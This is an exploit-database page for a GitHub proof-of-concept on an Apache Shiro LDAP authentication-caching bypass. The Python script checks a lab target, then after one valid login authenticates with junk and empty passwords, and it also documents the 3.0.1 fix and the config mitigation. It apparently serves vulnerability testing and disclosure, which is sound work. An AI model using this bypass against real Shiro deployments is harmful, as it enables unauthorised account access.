Exploit database

GH-c36f8693861ae2918e895481bc80cebc

googlesky/cve-2026-129349

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-129349

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
googlesky/cve-2026-129349Revision b7fefa8f52f8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/poc.py

Suggested starting filePython · 7,327 bytes
#!/usr/bin/env python3
"""CVE-2026-129349 — Apache Shiro DefaultLdapRealm accepts any password
after one successful login when authentication caching is enabled
(fixed in 3.0.1 by no longer installing AllowAllCredentialsMatcher by
default).

The lab runs the real DefaultLdapRealm against a real in-memory LDAP
directory with authenticationCachingEnabled=true — exactly the advisory's
configuration. After priming the cache with one valid login, every
subsequent login for that user succeeds with ANY password on the
vulnerable build; the fixed build rejects the mismatched credentials.

Modes
  check      classify the target (wrong password after a valid login)
  exploit    full chain: prime, then authenticate with garbage passwords
             and the literal empty string as that user
  probe      cache-state matrix: wrong password before cache, after cache,
             after reset, unknown user, wrong-password-first
  mitigation the vendor mitigation (upgrade to 3.0.1) is the fixed side;
             also demonstrates the config-level alternative (disable
             authentication caching) as documented in the advisory

Exit codes
  0  target safe (3.0.1 behaviour: cache hit still verifies credentials)
  1  target vulnerable (any-password authentication confirmed)
  2  target unreachable
  3  no worker listening
"""
import http.client
import json
import sys

DEFAULT_HOST = "shiro-vuln"
DEFAULT_PORT = 8080

EXIT_SAFE, EXIT_VULN, EXIT_UNREACHABLE, EXIT_NO_WORKER = 0, 1, 2, 3

USER = "alice"
GOOD_PASSWORD = "S3cret-LDAP-pass"


def get(host, port, path, timeout=20):
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request("GET", path)
        r = conn.getresponse()
        body = r.read() or b"{}"
        try:
            return r.status, json.loads(body)
        except ValueError:
            return r.status, {"auth": False, "reason": "unparsable-response",
                              "raw": body[:80].decode("latin1", "replace")}
    finally:
        conn.close()


def login(host, port, username, password):
    return get(host, port, "/login?username=%s&password=%s"
               % (username, password.replace(" ", "%20")))


def reset(host, port):
    return get(host, port, "/reset")


def mode_check(host, port):
    try:
        code, info = get(host, port, "/info")
    except Exception as e:
        msg = str(e)
        if "refused" in msg:
            print("[-] no worker listening")
            return EXIT_NO_WORKER
        print("[-] %s" % msg)
        return EXIT_UNREACHABLE
    print("[*] target: shiro %s, matcher %s, caching %s"
          % (info.get("shiro_version"), info.get("credentials_matcher"),
             info.get("authentication_caching_enabled")))

    reset(host, port)
    code, first = login(host, port, USER, "wrong-before-cache")
    code, good = login(host, port, USER, GOOD_PASSWORD)
    code, bad = login(host, port, USER, "wrong-after-cache")
    print("[*] wrong password BEFORE valid login : auth=%s (%s)"
          % (first.get("auth"), first.get("reason")))
    print("[*] valid password                    : auth=%s" % good.get("auth"))
    print("[*] wrong password AFTER valid login  : auth=%s" % bad.get("auth"))
    if good.get("auth") and bad.get("auth"):
        print("[+] VULNERABLE — any password accepted after one valid login")
        return EXIT_VULN
    if good.get("auth") and not bad.get("auth"):
        print("[*] target behaves as fixed (credentials verified on cache hit)")
        return EXIT_SAFE
    print("[!] unexpected flow (valid login failed) — see /info")
    return EXIT_UNREACHABLE


def mode_exploit(host, port):
    try:
        get(host, port, "/info")
    except Exception as e:
        print("[-] %s" % e)
        return EXIT_UNREACHABLE

    print("[*] stage 1 — prime the authentication cache with the valid password")
    reset(host, port)
    code, good = login(host, port, USER, GOOD_PASSWORD)
    if not good.get("auth"):
        print("[-] priming login failed")
        return EXIT_UNREACHABLE
    print("[+] valid login accepted (cache primed)")

    print("[*] stage 2 — authenticate as %s with attacker-chosen junk" % USER)
    accepted = []
    for pw in ("wrong-password", "x", "", "0", "\\x00-not-a-password"):
        code, r = login(host, port, USER, pw)
        if r.get("auth"):
            accepted.append(repr(pw))
    print("[*] accepted junk passwords: %s" % (", ".join(accepted) or "none"))
    if accepted:
        print("[+] RESULT: authentication bypass confirmed — %d junk password(s) "
              "authenticated as %s after a single valid login (CVE-2026-129349)"
              % (len(accepted), USER))
        return EXIT_VULN
    print("[*] target behaves as fixed (3.0.1)")
    return EXIT_SAFE


def mode_probe(host, port):
    print("[*] probe — cache-state matrix")
    rows = []
    reset(host, port)
    for label, user, pw in [
        ("wrong pw, cold cache", USER, "nope"),
        ("valid pw", USER, GOOD_PASSWORD),
        ("wrong pw, warm cache", USER, "nope"),
        ("empty pw, warm cache", USER, ""),
        ("unknown user, warm cache", "mallory", "nope"),
        ("valid pw again", USER, GOOD_PASSWORD),
    ]:
        try:
            code, r = login(host, port, user, pw)
            rows.append((label, user, r.get("auth"), r.get("reason")))
        except Exception as e:
            rows.append((label, user, None, str(e)[:30]))
    reset(host, port)
    code, r = login(host, port, USER, "nope")
    rows.append(("wrong pw, after reset", USER, r.get("auth"), r.get("reason")))

    width = 28
    print("  %-*s %-8s %-6s %s" % (width, "case", "user", "auth", "reason"))
    for r in rows:
        print("  %-*s %-8s %-6s %s" % (width, r[0], r[1], str(r[2]), r[3] or "-"))
    vuln = any(r[0] in ("wrong pw, warm cache", "empty pw, warm cache")
               and r[2] for r in rows)
    return EXIT_VULN if vuln else EXIT_SAFE


def mode_mitigation(host, port):
    print("[*] mitigation — vendor fix is the 3.0.1 upgrade (this lab's fixed")
    print("[*] side). The advisory's configuration-level mitigation: do not")
    print("[*] enable authentication caching on DefaultLdapRealm (not default).")
    reset(host, port)
    code, good = login(host, port, USER, GOOD_PASSWORD)
    code, bad = login(host, port, USER, "nope")
    print("[*] with caching enabled: valid=%s, wrong-after-valid=%s"
          % (good.get("auth"), bad.get("auth")))
    print("[*] effective remediation = shiro 3.0.1 (fixed container passes "
          "every probe); config alternative = authenticationCachingEnabled=false")
    return EXIT_VULN if bad.get("auth") else EXIT_SAFE


MODES = {"check": mode_check, "exploit": mode_exploit,
         "probe": mode_probe, "mitigation": mode_mitigation}


def main():
    args = [a for a in sys.argv[1:] if not a.startswith("-")]
    mode = args[0] if args else "check"
    host, port = DEFAULT_HOST, DEFAULT_PORT
    for a in sys.argv[1:]:
        if a.startswith("--host="):
            host = a.split("=", 1)[1]
        if a.startswith("--port="):
            port = int(a.split("=", 1)[1])
    fn = MODES.get(mode)
    if not fn:
        print("unknown mode: %s" % mode)
        return 2
    return fn(host, port)


if __name__ == "__main__":
    sys.exit(main())